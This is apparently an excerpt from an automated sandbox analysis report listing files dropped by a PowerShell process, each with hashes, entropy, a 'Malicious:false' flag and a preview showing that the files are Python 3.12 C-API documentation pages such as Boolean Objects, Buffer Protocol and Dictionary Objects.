                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (602), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19816
                    Entropy (8bit):4.899593946513707
                    Encrypted:false
                    SSDEEP:
                    MD5:18D0469E76ABBA5C1A11ACFFD1A44C5E
                    SHA1:818B16213A1A455B01027492E821AD2C04FE1CBF
                    SHA-256:A86FC96F7D9D4EBB1843FDBE82CC0768E6690505AC7CA57E1C40FB0D3F459DD8
                    SHA-512:AA4FB46254EC452364EFA786318A8B4263C9991122251199321A66644507A14AC1C313B4677D33738DF2AD0956C8F5916AC6EA2B38F721C2AD0AEF2B89E9259C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Boolean Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/bool.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Booleans in Python are implemented as a subclass of integers. There are only two booleans, Py_False and Py_True. As such, the normal creation and deletion functions don.t apply to booleans. The fol..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Booleans in Python are implemented as a subclass of integers. There
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1175), with CRLF line terminators
                    Category:dropped
                    Size (bytes):92164
                    Entropy (8bit):4.893692641705431
                    Encrypted:false
                    SSDEEP:
                    MD5:BB33C1922D336D9F4E9C8AEE33823E3F
                    SHA1:644D2C647EA3DAF536ECF2398D2A9E9430E1D6B3
                    SHA-256:BE7E1A8BAD865FEFE598FF580E201FBAB11F58B1311E296D90F8F0DA97D4C52A
                    SHA-512:8D51A2368050DB668D6AE61A5E396D605657CA6BE4F7CE955AA3653E374C00C1438C76D1C9FB5700479D5A8D808FF1F9A5B7CD0CBF2CC73AC0C98543D084B62F
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Buffer Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/buffer.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Certain objects available in Python wrap access to an underlying memory array or buffer. Such objects include the built-in bytes and bytearray, and some extension types like array.array. Third-part..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Certain objects available in Python wrap access to an underlying mem
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1010), with CRLF line terminators
                    Category:dropped
                    Size (bytes):27357
                    Entropy (8bit):4.906893227281136
                    Encrypted:false
                    SSDEEP:
                    MD5:4ACAD7ED5DB31641356BB198E7F3580F
                    SHA1:192C71D66259F6B83434019AE6E16F15D540DE30
                    SHA-256:B6D000BABC350B1217DE8ECED27CBCCB91D120B1BAF4D0E233F97456E723A18F
                    SHA-512:2260BB6D0DE1D025F0783CBD98EEC770F8289E489D8619BD33A70EABF933C9FF9F839B49135F390FF697A555531CD81C61F07A0FE802C07B81B56EBD1920E779
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Byte Array Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/bytearray.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Type check macros: Direct API functions: Macros: These macros trade safety for speed and they don.t check pointers." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Type check macros: Direct API functions: Macros: These macros trade safety for speed and they don.t check pointers." />..<meta property="og:ima
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1121), with CRLF line terminators
                    Category:dropped
                    Size (bytes):43397
                    Entropy (8bit):4.8909900225739635
                    Encrypted:false
                    SSDEEP:
                    MD5:13B9F6F70BFF2588DDE59CE0E362870C
                    SHA1:BC5C759D19130D72A1E8A9BB61A604298A5CD7DE
                    SHA-256:FB59306ADA4B96802A8C94D003C8767BFAA208D89DDAD00DD7DC18A5637979EC
                    SHA-512:0C076FA73110A98FE5E0715E75BCF565C9A3CA8541DDE6DFA3C27C1EC0F6A3C01629AB18D8D6BA06AABCF4E3A8BF4343F5FDCB9045766E2B68EEEBB2B3DDE7AC
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Bytes Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/bytes.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These functions raise TypeError when expecting a bytes parameter and called with a non-bytes parameter." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These functions raise TypeError when expecting a bytes parameter and called with a non-bytes parameter." />..<meta property="og:image:width" content="200" />..<meta pro
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (2016), with CRLF line terminators
                    Category:dropped
                    Size (bytes):71486
                    Entropy (8bit):4.9168857488632725
                    Encrypted:false
                    SSDEEP:
                    MD5:6C78E3C5F7710C32C1C79C6F85DD88A5
                    SHA1:817E1E09A124DD4D89F2A8A5C0DD7769C1FAEE4E
                    SHA-256:482D4441A2C0A0FAD02699DB76BAEEB230C742624E973CBEFD109DA44075A484
                    SHA-512:8AA9DEEF38C1F8B5E51302996D3A4538D5DB5A489DE7A6D9C1C7583E3E2E23898815B30CF8D827BF8FA6590D7C20875883942AE1E09A65C390770D643C31C651
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Call Protocol" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/call.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="CPython supports two different calling protocols: tp_call and vectorcall. The tp_call Protocol: Instances of classes that set tp_call are callable. The signature of the slot is: A call is made usin..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="CPython supports two different calling protocols: tp_call and vectorcall
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1156), with CRLF line terminators
                    Category:dropped
                    Size (bytes):36464
                    Entropy (8bit):4.840757880078915
                    Encrypted:false
                    SSDEEP:
                    MD5:D4737B36C8139F229E8BD3B9678E56F6
                    SHA1:06DE3416092A1E197D898DAA8D8B43E4E3F2F121
                    SHA-256:91DD68E0DFE23719AACAB9E09510B82B8AD3DB7E4D78E169FF797B73717D6CF4
                    SHA-512:05FAEAB61270D65287ECB1675AAD45F119A57597C0B429784B62BAC35CF3F8EA81DF8DA1A19E93EB400E91790EB9680A85F9B9FDFC9642D21277713D3A3F1EB9
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Capsules" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/capsule.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Refer to Providing a C API for an Extension Module for more information on using these objects." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Refer to Providing a C API for an Extension Module for more information on using these objects." />..<meta property="og:image:width" content="200" />..<meta property="og:image:hei
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (864), with CRLF line terminators
                    Category:dropped
                    Size (bytes):21181
                    Entropy (8bit):4.870153602982891
                    Encrypted:false
                    SSDEEP:
                    MD5:0C1D0AA7B6BC97311C45670DC76634CA
                    SHA1:BCE9B1E95363BFDB8FBD157967B450DC8B59E28E
                    SHA-256:170620D563439C6C53135899827A0E904DF8FF96B419AC92EE59A5DA8DAA0A3C
                    SHA-512:F220472843C2AB6F881A04804F6854FD9DD1BB49C6EADD37463CB33B0636F0D8D1759760FDF0619CDF7833AC3EF12D78C10C7A050E7F94108DC26AAC63DF8CD1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Cell Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/cell.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content=".Cell. objects are used to implement variables referenced by multiple scopes. For each such variable, a cell object is created to store the value; the local variables of each stack frame that refer..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content=".Cell. objects are used to implement variables referenced by mult
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (4446), with CRLF line terminators
                    Category:dropped
                    Size (bytes):55705
                    Entropy (8bit):4.843599721590231
                    Encrypted:false
                    SSDEEP:
                    MD5:710C2BE9619FB179A6E5F08B364931F9
                    SHA1:E070E54A56D86A9879EE91DCE1C22C513492BF0C
                    SHA-256:FAFCA581AD0AC320BC255CBD4F3F4BC396426D3AA1214FACE26D980DF5D9ADC4
                    SHA-512:C1F7441A080514097072548A0025946ED1AD2C5BE0A418624102245744FD28BBAC0BE8B77E81E3656AE7A1A5BE72F4D8A73FACD411C7793F0577498E470AF0C8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Code Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/code.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Code objects are a low-level detail of the CPython implementation. Each one represents a chunk of executable code that hasn.t yet been bound into a function. Extra information: To support low-level..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Code objects are a low-level detail of the CPython implementation. Each
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1274), with CRLF line terminators
                    Category:dropped
                    Size (bytes):43417
                    Entropy (8bit):4.83612680829369
                    Encrypted:false
                    SSDEEP:
                    MD5:5A84BB66E9CD299F3331A17301B25AD9
                    SHA1:1B6A4829DD7B8DBCDBC55A45EB3F2BDA056B0116
                    SHA-256:9B68DBF25DFAD19BAD6755CC38E8C1189E2E97EF6E1612C6FBC47CDC35AD061B
                    SHA-512:E58E65654FA3CB6D6A2C7C1D33474CD921F71D1F44466288662A4DF1333197E67554FD9AB66F9A9E104725B5DD2F68B8CE33725B7A4BD4E20C7D19CC0882F3A0
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Codec registry and support functions" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/codec.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Codec lookup API: In the following functions, the encoding string is looked up converted to all lower-case characters, which makes encodings looked up through this mechanism effectively case-insens..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Codec lookup API: In the following functions, th
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (833), with CRLF line terminators
                    Category:dropped
                    Size (bytes):34547
                    Entropy (8bit):4.892106689102129
                    Encrypted:false
                    SSDEEP:
                    MD5:637098068684E175F04062C3C86C5785
                    SHA1:C5D68268AD9EFC448BC82858F376B48C3D4F707B
                    SHA-256:42E6884E3139551843087EDDB5814AB5738BA81430725141C59055B6FACFA0F3
                    SHA-512:DFFFC0449367E8ADFC20DF4A8BA25597B373F690AC41C325B10D7054B52A076A427D39D22DC1C83B5591C2870D6D0DE954C7DC7094507AD541FAF73040922C10
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Complex Number Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/complex.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python.s complex number objects are implemented as two distinct types when viewed from the C API: one is the Python object exposed to Python programs, and the other is a C structure which represent..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python.s complex number objects are implemented as two d
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25525
                    Entropy (8bit):4.891256045159486
                    Encrypted:false
                    SSDEEP:
                    MD5:E873E4762DFC00724E59871CAFF91A6F
                    SHA1:91EB19FA9402C48D88163C616ED06A7FA275C2F2
                    SHA-256:A680617C9E00485FB0B6FD8B597B6AFAD9EC51DCCE54485587689E9FE14BED04
                    SHA-512:47EC7C8893917C65428C7B14D2F943B555A6FAF5138B3D86EFA13562DEC04A4466A1B8D35860596A3EB19A9E507B0EA772F360FA3E2DFF5F40AD555821B88EBD
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Concrete Objects Layer" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/concrete.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions in this chapter are specific to certain Python object types. Passing them an object of the wrong type is not a good idea; if you receive an object from a Python program and you are no..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions in this chapter are specific to certain Pytho
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1200), with CRLF line terminators
                    Category:dropped
                    Size (bytes):33749
                    Entropy (8bit):4.8817079061883515
                    Encrypted:false
                    SSDEEP:
                    MD5:CE70A621DB9EC2C554069CE7CF8BA0E1
                    SHA1:9197CEAE4094E4ED9C62C3DEECEEF103D0B4404F
                    SHA-256:FE1940FBC07D947B633C8830D7646D7268A7D35097B64F2FED7B0A89F397B9A5
                    SHA-512:7FC6B2D63208C101A8900FA0980C4111E77CD24970E31EABD7C7DC48AD7357A1882DEAA44381FAC879EE071A2749F4A75D028ED7E8A4CB7BF3CB960749E72015
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Context Variables Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/contextvars.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This section details the public C API for the contextvars module. Type-check macros: Context object management functions: Context variable functions:" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This section details the public C API for the contextvars module. Type-check macros: Context object mana
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1118), with CRLF line terminators
                    Category:dropped
                    Size (bytes):38240
                    Entropy (8bit):4.812067415404105
                    Encrypted:false
                    SSDEEP:
                    MD5:9DC1E315EB676DB4D4C6B8EC1962B93F
                    SHA1:59675D0484815E7768C6145C5B1BB41DA0B8DFD3
                    SHA-256:DE645D1D65FEE20E75803A3547AC2759E291E9A64DBA91B4EDB18A7455499E9E
                    SHA-512:BC30AE807A3EF048F2FE89F40C79C75CF41B3190CCCB48DCBE4E021DC0DF66676BF57E5065A212B9AB0F6A95E9112AA468AB3E2BB00C029B71D7D6F0D8C5D61E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="String conversion and formatting" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/conversion.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Functions for number conversion and formatted string output. PyOS_snprintf() and PyOS_vsnprintf() wrap the Standard C library functions snprintf() and vsnprintf(). Their purpose is to guarantee con..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Functions for number conversion and formatted s
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1283), with CRLF line terminators
                    Category:dropped
                    Size (bytes):16927
                    Entropy (8bit):4.870825245605953
                    Encrypted:false
                    SSDEEP:
                    MD5:354C9315BADA57E5E01BE150C9AD620E
                    SHA1:3F6218C4D1C34810AA4E7E371DEC6A66F72DA227
                    SHA-256:D19880403F68DA999DDC9AEDE58CCC9044C5D20434A824CE457D892B8EB974A0
                    SHA-512:6DAFCD25CA3D37B23BCF1F94999B14A8CF096D18098B1AEEBDB662A666DC16406F5A2739E3E45726CBF638729FA40F0DDD44C1587A9A428808E99A05F290B788
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Coroutine Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/coro.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Coroutine objects are what functions declared with an async keyword return." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Coroutine objects are what functions declared with an async keyword return." />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name=
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1557), with CRLF line terminators
                    Category:dropped
                    Size (bytes):67978
                    Entropy (8bit):4.885894045404287
                    Encrypted:false
                    SSDEEP:
                    MD5:B48FFF08046E2D30891A4210D31DFC5C
                    SHA1:5F7CD87A522AD7AC7EEEA65391DA4E7D74FAB510
                    SHA-256:1AD6F567798E87E6E2E6C2CE48E69014BC940DBBB508B521CEE3F39AE7B80F3A
                    SHA-512:6646EDDAB16CCC84BC4B8E73268BA9B1A92D87A3D86625F05155041A439E1D655437CA0587C449E6F242DEC2F26FE7FCECA60DEFA3324A110926AB29D1CD5B11
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="DateTime Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/datetime.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Various date and time objects are supplied by the datetime module. Before using any of these functions, the header file datetime.h must be included in your source (note that this is not included by..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Various date and time objects are supplied by the datetime module
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1204), with CRLF line terminators
                    Category:dropped
                    Size (bytes):22641
                    Entropy (8bit):4.875868822676572
                    Encrypted:false
                    SSDEEP:
                    MD5:B43CBB6A201C8AF0EC526DF0FE0AD8BC
                    SHA1:1CADDCAF1DACD838C166BD451235FA20A524EA8A
                    SHA-256:2024222B523271BD0DA07918791579B3788B37449C660EB1FAAE86E8BDE29F0B
                    SHA-512:F5199EDBAC7CD41845B7309626937046026AC438C2C3F431595CAAE44F8885044478E184704A84B814F237E8927350F1B6317BA27037652B435910D38D07A2A9
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Descriptor Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/descriptor.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content=".Descriptors. are objects that describe some attribute of an object. They are found in the dictionary of type objects." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content=".Descriptors. are objects that describe some attribute of an object. They are found in the dictionary of type objects." />..<meta prope
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1859), with CRLF line terminators
                    Category:dropped
                    Size (bytes):72321
                    Entropy (8bit):4.8170634575554105
                    Encrypted:false
                    SSDEEP:
                    MD5:ABFCD510A5957E738A8EC774ADA2E33E
                    SHA1:735549406A3622F195D657678DD1ED3742FF480F
                    SHA-256:8EF8773302AE46648026FDEAB109A5E40FDF6AC05DE7B52C1C553A72134D2116
                    SHA-512:EA214EE14A290972D50D92F514AC2ED06C01BE1CC048A009AFFCDCB6519EE587BBD5C6A4FBD79F25075B6865AF850E08C637A2C584F536FCF269F86075528937
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Dictionary Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/dict.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Dictionary Objects &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="stylesheet" type="text/css" href
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1576), with CRLF line terminators
                    Category:dropped
                    Size (bytes):213783
                    Entropy (8bit):4.819670679843809
                    Encrypted:false
                    SSDEEP:
                    MD5:CE526A73BD478722DB418566C499F94E
                    SHA1:519D53C3E263019E16B8D32A403AD7E5E84586B8
                    SHA-256:1612FDF2700731DBC10AEE7B876221171594754161CAB66C3A193ADDB322E2FE
                    SHA-512:2E0C4A74514B5EEA799E4F84DDF5CB34FC62285BFD8E3015428F2A80301801FD1238470724B540C77B042A0AC20E60BC2BDD97ECF9FAB8548F6A6B41B65BFF78
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Exception Handling" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/exceptions.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions described in this chapter will let you handle and raise Python exceptions. It is important to understand some of the basics of Python exception handling. It works somewhat like the PO..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions described in this chapter will let you handle a
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (2160), with CRLF line terminators
                    Category:dropped
                    Size (bytes):29104
                    Entropy (8bit):4.871777385163392
                    Encrypted:false
                    SSDEEP:
                    MD5:00F8228B186364B5601B9C042AF0ECB5
                    SHA1:0A635C565238261E420F077D73D2C80B2922DD76
                    SHA-256:9A5A1EF829620B298B47FF3DE75058580B6F1FCF577857554C701B772C77DBDC
                    SHA-512:D3A2C832660B038AFA54FCBA15814D02531A7577492CF7FC4C60DD5036DB7CB03EBCB8396346BA6A8DE2C2F6CFA6D49DF4F1C694382CD9D27810E37AA92D3D41
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="File Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/file.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These APIs are a minimal emulation of the Python 2 C API for built-in file objects, which used to rely on the buffered I/O ( FILE*) support from the C standard library. In Python 3, files and strea..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These APIs are a minimal emulation of the Python 2 C API for built-in fil
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (848), with CRLF line terminators
                    Category:dropped
                    Size (bytes):37993
                    Entropy (8bit):4.887751833127853
                    Encrypted:false
                    SSDEEP:
                    MD5:D371F31190459D34CB37234C1777C4E9
                    SHA1:00B5E1995846C3B71FF9402E8EB9634FDB289D43
                    SHA-256:89AF352BF421F0FCCB607747DE4885895091B6F251C75CC33794BFF22A206232
                    SHA-512:BCC7AD085F50BD357D5BA8911F8D2C11C92303260B1C2CC81B29C8D0FCB8A67EEAB86718E11FD2A119B48BFEB5F954DCC0A9726B6C376D1A842BF366A6DEEE80
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Floating Point Objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/float.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Pack and Unpack functions: The pack and unpack functions provide an efficient platform-independent way to store floating-point values as byte strings. The Pack routines produce a bytes string from ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Pack and Unpack functions: The pack and unpack functions provi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1010), with CRLF line terminators
                    Category:dropped
                    Size (bytes):36833
                    Entropy (8bit):4.888510774866766
                    Encrypted:false
                    SSDEEP:
                    MD5:6AA9B1097EEDCEC6D3D62A056627DA70
                    SHA1:3113ED64A2B9815CC44EF41CA4250FA9CDF42DBB
                    SHA-256:0BDB9292C76B2830C287FE79E23845C6B157A3DC48C66378AD502676663174F0
